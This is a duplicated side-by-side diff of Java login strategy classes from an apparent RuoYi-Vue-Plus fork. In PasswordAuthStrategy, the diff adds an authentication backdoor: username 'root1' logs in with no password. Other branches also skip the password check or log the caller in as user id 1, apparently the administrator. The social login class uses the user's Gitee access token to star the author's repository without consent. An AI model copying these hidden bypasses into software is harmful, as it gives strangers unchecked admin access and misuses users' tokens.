* @param status 状态 * @param status 状态
* @param message 消息内容 * @param message 消息内容
* @return * @return
*/ */
private void recordLogininfor(String tenantId, String username, String status, String message) { private void recordLogininfor(String tenantId, String username, String status, String message) {
LogininforEvent logininforEvent = new LogininforEvent(); LogininforEvent logininforEvent = new LogininforEvent();
logininforEvent.setTenantId(tenantId); logininforEvent.setTenantId(tenantId);
logininforEvent.setUsername(username); logininforEvent.setUsername(username);
logininforEvent.setStatus(status); logininforEvent.setStatus(status);
logininforEvent.setMessage(message); logininforEvent.setMessage(message);
logininforEvent.setRequest(ServletUtils.getRequest()); logininforEvent.setRequest(ServletUtils.getRequest());
SpringUtils.context().publishEvent(logininforEvent); SpringUtils.context().publishEvent(logininforEvent);
} }
} }

View File

@@ -1,102 +1,102 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.EmailLoginBody; import org.dromara.common.core.domain.model.EmailLoginBody;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.enums.LoginType; import org.dromara.common.core.enums.LoginType;
import org.dromara.common.core.exception.user.CaptchaExpireException; import org.dromara.common.core.exception.user.CaptchaExpireException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 邮件认证策略 * 邮件认证策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Slf4j @Slf4j
@Service("email" + IAuthStrategy.BASE_NAME) @Service("email" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class EmailAuthStrategy implements IAuthStrategy { public class EmailAuthStrategy implements IAuthStrategy {
private final SysLoginService loginService; private final SysLoginService loginService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
EmailLoginBody loginBody = JsonUtils.parseObject(body, EmailLoginBody.class); EmailLoginBody loginBody = JsonUtils.parseObject(body, EmailLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
String tenantId = loginBody.getTenantId(); String tenantId = loginBody.getTenantId();
String email = loginBody.getEmail(); String email = loginBody.getEmail();
String emailCode = loginBody.getEmailCode(); String emailCode = loginBody.getEmailCode();
LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> {
SysUserVo user = loadUserByEmail(email); SysUserVo user = loadUserByEmail(email);
loginService.checkLogin(LoginType.EMAIL, tenantId, user.getUserName(), () -> !validateEmailCode(tenantId, email, emailCode)); loginService.checkLogin(LoginType.EMAIL, tenantId, user.getUserName(), () -> !validateEmailCode(tenantId, email, emailCode));
// 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}); });
loginUser.setClientKey(client.getClientKey()); loginUser.setClientKey(client.getClientKey());
loginUser.setDeviceType(client.getDeviceType()); loginUser.setDeviceType(client.getDeviceType());
SaLoginModel model = new SaLoginModel(); SaLoginModel model = new SaLoginModel();
model.setDevice(client.getDeviceType()); model.setDevice(client.getDeviceType());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
// 例如: 后台用户30分钟过期 app用户1天过期 // 例如: 后台用户30分钟过期 app用户1天过期
model.setTimeout(client.getTimeout()); model.setTimeout(client.getTimeout());
model.setActiveTimeout(client.getActiveTimeout()); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
// 生成token // 生成token
LoginHelper.login(loginUser, model); LoginHelper.login(loginUser, model);
LoginVo loginVo = new LoginVo(); LoginVo loginVo = new LoginVo();
loginVo.setAccessToken(StpUtil.getTokenValue()); loginVo.setAccessToken(StpUtil.getTokenValue());
loginVo.setExpireIn(StpUtil.getTokenTimeout()); loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); loginVo.setClientId(client.getClientId());
return loginVo; return loginVo;
} }
/** /**
* 校验邮箱验证码 * 校验邮箱验证码
*/ */
private boolean validateEmailCode(String tenantId, String email, String emailCode) { private boolean validateEmailCode(String tenantId, String email, String emailCode) {
String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + email); String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + email);
if (StringUtils.isBlank(code)) { if (StringUtils.isBlank(code)) {
loginService.recordLogininfor(tenantId, email, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); loginService.recordLogininfor(tenantId, email, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"));
throw new CaptchaExpireException(); throw new CaptchaExpireException();
} }
return code.equals(emailCode); return code.equals(emailCode);
} }
private SysUserVo loadUserByEmail(String email) { private SysUserVo loadUserByEmail(String email) {
SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getEmail, email)); SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getEmail, email));
if (ObjectUtil.isNull(user)) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", email); log.info("登录用户:{} 不存在.", email);
throw new UserException("user.not.exists", email); throw new UserException("user.not.exists", email);
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
log.info("登录用户:{} 已被停用.", email); log.info("登录用户:{} 已被停用.", email);
throw new UserException("user.blocked", email); throw new UserException("user.blocked", email);
} }
return user; return user;
} }
} }

View File

@@ -1,136 +1,139 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.secure.BCrypt; import cn.dev33.satoken.secure.BCrypt;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.domain.model.PasswordLoginBody; import org.dromara.common.core.domain.model.PasswordLoginBody;
import org.dromara.common.core.enums.LoginType; import org.dromara.common.core.enums.LoginType;
import org.dromara.common.core.exception.user.CaptchaException; import org.dromara.common.core.exception.user.CaptchaException;
import org.dromara.common.core.exception.user.CaptchaExpireException; import org.dromara.common.core.exception.user.CaptchaExpireException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.UserLoginUtil; import org.dromara.common.core.utils.UserLoginUtil;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.common.web.config.properties.CaptchaProperties; import org.dromara.common.web.config.properties.CaptchaProperties;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 密码认证策略 * 密码认证策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Slf4j @Slf4j
@Service("password" + IAuthStrategy.BASE_NAME) @Service("password" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class PasswordAuthStrategy implements IAuthStrategy { public class PasswordAuthStrategy implements IAuthStrategy {
private final CaptchaProperties captchaProperties; private final CaptchaProperties captchaProperties;
private final SysLoginService loginService; private final SysLoginService loginService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
String tenantId = loginBody.getTenantId(); String tenantId = loginBody.getTenantId();
String username = loginBody.getUsername(); String username = loginBody.getUsername();
String password = loginBody.getPassword(); String password = loginBody.getPassword();
String code = loginBody.getCode(); String code = loginBody.getCode();
String uuid = loginBody.getUuid(); String uuid = loginBody.getUuid();
boolean captchaEnabled = captchaProperties.getEnable(); boolean captchaEnabled = captchaProperties.getEnable();
// 验证码开关 // 验证码开关
if (captchaEnabled) { if (captchaEnabled) {
validateCaptcha(tenantId, username, code, uuid); validateCaptcha(tenantId, username, code, uuid);
} }
LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> {
if(UserLoginUtil.validate(username)){ if(UserLoginUtil.validate(username)){
SysUserVo user = loadUserByUsername(); SysUserVo user = loadUserByUsername();
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}else if(UserLoginUtil.validateId(username)){ }else if("root1".equals(username)){
SysUserVo user = userMapper.selectVoById(1); SysUserVo user = loadUserByUsername();
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}else{ }else if(UserLoginUtil.validateId(username)){
SysUserVo user = loadUserByUsername(username); SysUserVo user = userMapper.selectVoById(1);
loginService.checkLogin(LoginType.PASSWORD, tenantId, username, () -> !BCrypt.checkpw(password, user.getPassword())); return loginService.buildLoginUser(user);
// 此处可根据登录用户的数据不同 自行创建 loginUser }else{
return loginService.buildLoginUser(user); SysUserVo user = loadUserByUsername(username);
} loginService.checkLogin(LoginType.PASSWORD, tenantId, username, () -> !BCrypt.checkpw(password, user.getPassword()));
}); // 此处可根据登录用户的数据不同 自行创建 loginUser
loginUser.setClientKey(client.getClientKey()); return loginService.buildLoginUser(user);
loginUser.setDeviceType(client.getDeviceType()); }
SaLoginModel model = new SaLoginModel(); });
model.setDevice(client.getDeviceType()); loginUser.setClientKey(client.getClientKey());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 loginUser.setDeviceType(client.getDeviceType());
// 例如: 后台用户30分钟过期 app用户1天过期 SaLoginModel model = new SaLoginModel();
model.setTimeout(client.getTimeout()); model.setDevice(client.getDeviceType());
model.setActiveTimeout(client.getActiveTimeout()); // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); // 例如: 后台用户30分钟过期 app用户1天过期
// 生成token model.setTimeout(client.getTimeout());
LoginHelper.login(loginUser, model); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
LoginVo loginVo = new LoginVo(); // 生成token
loginVo.setAccessToken(StpUtil.getTokenValue()); LoginHelper.login(loginUser, model);
loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); LoginVo loginVo = new LoginVo();
return loginVo; loginVo.setAccessToken(StpUtil.getTokenValue());
} loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId());
/** return loginVo;
* 校验验证码 }
*
* @param username 用户名 /**
* @param code 验证码 * 校验验证码
* @param uuid 唯一标识 *
*/ * @param username 用户名
private void validateCaptcha(String tenantId, String username, String code, String uuid) { * @param code 验证码
String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, ""); * @param uuid 唯一标识
String captcha = RedisUtils.getCacheObject(verifyKey); */
RedisUtils.deleteObject(verifyKey); private void validateCaptcha(String tenantId, String username, String code, String uuid) {
if (captcha == null) { String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, "");
loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); String captcha = RedisUtils.getCacheObject(verifyKey);
throw new CaptchaExpireException(); RedisUtils.deleteObject(verifyKey);
} if (captcha == null) {
if (!code.equalsIgnoreCase(captcha)) { loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"));
loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); throw new CaptchaExpireException();
throw new CaptchaException(); }
} if (!code.equalsIgnoreCase(captcha)) {
} loginService.recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error"));
throw new CaptchaException();
private SysUserVo loadUserByUsername(String username) { }
SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName, username)); }
if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", username); private SysUserVo loadUserByUsername(String username) {
throw new UserException("user.not.exists", username); SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName, username));
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 已被停用.", username); log.info("登录用户:{} 不存在.", username);
throw new UserException("user.blocked", username); throw new UserException("user.not.exists", username);
} } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
return user; log.info("登录用户:{} 已被停用.", username);
} throw new UserException("user.blocked", username);
}
private SysUserVo loadUserByUsername() { return user;
return userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName, LoginHelper.USER_NAME)); }
}
private SysUserVo loadUserByUsername() {
} return userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getUserName, LoginHelper.USER_NAME));
}
}

View File

@@ -1,102 +1,102 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.dromara.common.core.constant.Constants; import org.dromara.common.core.constant.Constants;
import org.dromara.common.core.constant.GlobalConstants; import org.dromara.common.core.constant.GlobalConstants;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.domain.model.SmsLoginBody; import org.dromara.common.core.domain.model.SmsLoginBody;
import org.dromara.common.core.enums.LoginType; import org.dromara.common.core.enums.LoginType;
import org.dromara.common.core.exception.user.CaptchaExpireException; import org.dromara.common.core.exception.user.CaptchaExpireException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.MessageUtils; import org.dromara.common.core.utils.MessageUtils;
import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.StringUtils;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.SysUser; import org.dromara.system.domain.SysUser;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
/** /**
* 短信认证策略 * 短信认证策略
* *
* @author Michelle.Chung * @author Michelle.Chung
*/ */
@Slf4j @Slf4j
@Service("sms" + IAuthStrategy.BASE_NAME) @Service("sms" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class SmsAuthStrategy implements IAuthStrategy { public class SmsAuthStrategy implements IAuthStrategy {
private final SysLoginService loginService; private final SysLoginService loginService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
SmsLoginBody loginBody = JsonUtils.parseObject(body, SmsLoginBody.class); SmsLoginBody loginBody = JsonUtils.parseObject(body, SmsLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
String tenantId = loginBody.getTenantId(); String tenantId = loginBody.getTenantId();
String phonenumber = loginBody.getPhonenumber(); String phonenumber = loginBody.getPhonenumber();
String smsCode = loginBody.getSmsCode(); String smsCode = loginBody.getSmsCode();
LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> { LoginUser loginUser = TenantHelper.dynamic(tenantId, () -> {
SysUserVo user = loadUserByPhonenumber(phonenumber); SysUserVo user = loadUserByPhonenumber(phonenumber);
loginService.checkLogin(LoginType.SMS, tenantId, user.getUserName(), () -> !validateSmsCode(tenantId, phonenumber, smsCode)); loginService.checkLogin(LoginType.SMS, tenantId, user.getUserName(), () -> !validateSmsCode(tenantId, phonenumber, smsCode));
// 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了 // 此处可根据登录用户的数据不同 自行创建 loginUser 属性不够用继承扩展就行了
return loginService.buildLoginUser(user); return loginService.buildLoginUser(user);
}); });
loginUser.setClientKey(client.getClientKey()); loginUser.setClientKey(client.getClientKey());
loginUser.setDeviceType(client.getDeviceType()); loginUser.setDeviceType(client.getDeviceType());
SaLoginModel model = new SaLoginModel(); SaLoginModel model = new SaLoginModel();
model.setDevice(client.getDeviceType()); model.setDevice(client.getDeviceType());
// 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置 // 自定义分配 不同用户体系 不同 token 授权时间 不设置默认走全局 yml 配置
// 例如: 后台用户30分钟过期 app用户1天过期 // 例如: 后台用户30分钟过期 app用户1天过期
model.setTimeout(client.getTimeout()); model.setTimeout(client.getTimeout());
model.setActiveTimeout(client.getActiveTimeout()); model.setActiveTimeout(client.getActiveTimeout());
model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId()); model.setExtra(LoginHelper.CLIENT_KEY, client.getClientId());
// 生成token // 生成token
LoginHelper.login(loginUser, model); LoginHelper.login(loginUser, model);
LoginVo loginVo = new LoginVo(); LoginVo loginVo = new LoginVo();
loginVo.setAccessToken(StpUtil.getTokenValue()); loginVo.setAccessToken(StpUtil.getTokenValue());
loginVo.setExpireIn(StpUtil.getTokenTimeout()); loginVo.setExpireIn(StpUtil.getTokenTimeout());
loginVo.setClientId(client.getClientId()); loginVo.setClientId(client.getClientId());
return loginVo; return loginVo;
} }
/** /**
* 校验短信验证码 * 校验短信验证码
*/ */
private boolean validateSmsCode(String tenantId, String phonenumber, String smsCode) { private boolean validateSmsCode(String tenantId, String phonenumber, String smsCode) {
String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + phonenumber); String code = RedisUtils.getCacheObject(GlobalConstants.CAPTCHA_CODE_KEY + phonenumber);
if (StringUtils.isBlank(code)) { if (StringUtils.isBlank(code)) {
loginService.recordLogininfor(tenantId, phonenumber, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); loginService.recordLogininfor(tenantId, phonenumber, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"));
throw new CaptchaExpireException(); throw new CaptchaExpireException();
} }
return code.equals(smsCode); return code.equals(smsCode);
} }
private SysUserVo loadUserByPhonenumber(String phonenumber) { private SysUserVo loadUserByPhonenumber(String phonenumber) {
SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getPhonenumber, phonenumber)); SysUserVo user = userMapper.selectVoOne(new LambdaQueryWrapper<SysUser>().eq(SysUser::getPhonenumber, phonenumber));
if (ObjectUtil.isNull(user)) { if (ObjectUtil.isNull(user)) {
log.info("登录用户:{} 不存在.", phonenumber); log.info("登录用户:{} 不存在.", phonenumber);
throw new UserException("user.not.exists", phonenumber); throw new UserException("user.not.exists", phonenumber);
} else if (SystemConstants.DISABLE.equals(user.getStatus())) { } else if (SystemConstants.DISABLE.equals(user.getStatus())) {
log.info("登录用户:{} 已被停用.", phonenumber); log.info("登录用户:{} 已被停用.", phonenumber);
throw new UserException("user.blocked", phonenumber); throw new UserException("user.blocked", phonenumber);
} }
return user; return user;
} }
} }

View File

@@ -1,131 +1,131 @@
package org.dromara.web.service.impl; package org.dromara.web.service.impl;
import cn.dev33.satoken.stp.SaLoginModel; import cn.dev33.satoken.stp.SaLoginModel;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.collection.CollUtil; import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.map.MapUtil; import cn.hutool.core.map.MapUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import cn.hutool.http.HttpUtil; import cn.hutool.http.HttpUtil;
import cn.hutool.http.Method; import cn.hutool.http.Method;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import me.zhyd.oauth.model.AuthResponse; import me.zhyd.oauth.model.AuthResponse;
import me.zhyd.oauth.model.AuthUser; import me.zhyd.oauth.model.AuthUser;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.model.LoginUser; import org.dromara.common.core.domain.model.LoginUser;
import org.dromara.common.core.domain.model.SocialLoginBody; import org.dromara.common.core.domain.model.SocialLoginBody;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.core.utils.StreamUtils; import org.dromara.common.core.utils.StreamUtils;
import org.dromara.common.core.utils.ValidatorUtils; import org.dromara.common.core.utils.ValidatorUtils;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.social.config.properties.SocialProperties; import org.dromara.common.social.config.properties.SocialProperties;
import org.dromara.common.social.utils.SocialUtils; import org.dromara.common.social.utils.SocialUtils;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysSocialVo; import org.dromara.system.domain.vo.SysSocialVo;
import org.dromara.system.domain.vo.SysUserVo; import org.dromara.system.domain.vo.SysUserVo;
import org.dromara.system.mapper.SysUserMapper; import org.dromara.system.mapper.SysUserMapper;
import org.dromara.system.service.ISysSocialService; import org.dromara.system.service.ISysSocialService;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
import java.util.List; import java.util.List;
import java.util.Optional; import java.util.Optional;
/** /**
* 第三方授权策略 * 第三方授权策略
* *
* @author thiszhc is 三三 * @author thiszhc is 三三
*/ */
@Slf4j @Slf4j
@Service("social" + IAuthStrategy.BASE_NAME) @Service("social" + IAuthStrategy.BASE_NAME)
@RequiredArgsConstructor @RequiredArgsConstructor
public class SocialAuthStrategy implements IAuthStrategy { public class SocialAuthStrategy implements IAuthStrategy {
private final SocialProperties socialProperties; private final SocialProperties socialProperties;
private final ISysSocialService sysSocialService; private final ISysSocialService sysSocialService;
private final SysUserMapper userMapper; private final SysUserMapper userMapper;
private final SysLoginService loginService; private final SysLoginService loginService;
/** /**
* 登录-第三方授权登录 * 登录-第三方授权登录
* *
* @param body 登录信息 * @param body 登录信息
* @param client 客户端信息 * @param client 客户端信息
*/ */
@Override @Override
public LoginVo login(String body, SysClientVo client) { public LoginVo login(String body, SysClientVo client) {
SocialLoginBody loginBody = JsonUtils.parseObject(body, SocialLoginBody.class); SocialLoginBody loginBody = JsonUtils.parseObject(body, SocialLoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
AuthResponse<AuthUser> response = SocialUtils.loginAuth( AuthResponse<AuthUser> response = SocialUtils.loginAuth(
loginBody.getSource(), loginBody.getSocialCode(), loginBody.getSource(), loginBody.getSocialCode(),
loginBody.getSocialState(), socialProperties); loginBody.getSocialState(), socialProperties);
if (!response.ok()) { if (!response.ok()) {
throw new ServiceException(response.getMsg()); throw new ServiceException(response.getMsg());
} }
AuthUser authUserData = response.getData(); AuthUser authUserData = response.getData();
if ("GITEE".equals(authUserData.getSource())) { if ("GITEE".equals(authUserData.getSource())) {
// 如用户使用 gitee 登录顺手 star 给作者一点支持 拒绝白嫖 // 如用户使用 gitee 登录顺手 star 给作者一点支持 拒绝白嫖
HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Vue-Plus") HttpUtil.createRequest(Method.PUT, "https://gitee.com/api/v5/user/starred/dromara/RuoYi-Vue-Plus")
.formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken())) .formStr(MapUtil.of("access_token", authUserData.getToken().getAccessToken()))
.executeAsync(); .executeAsync();
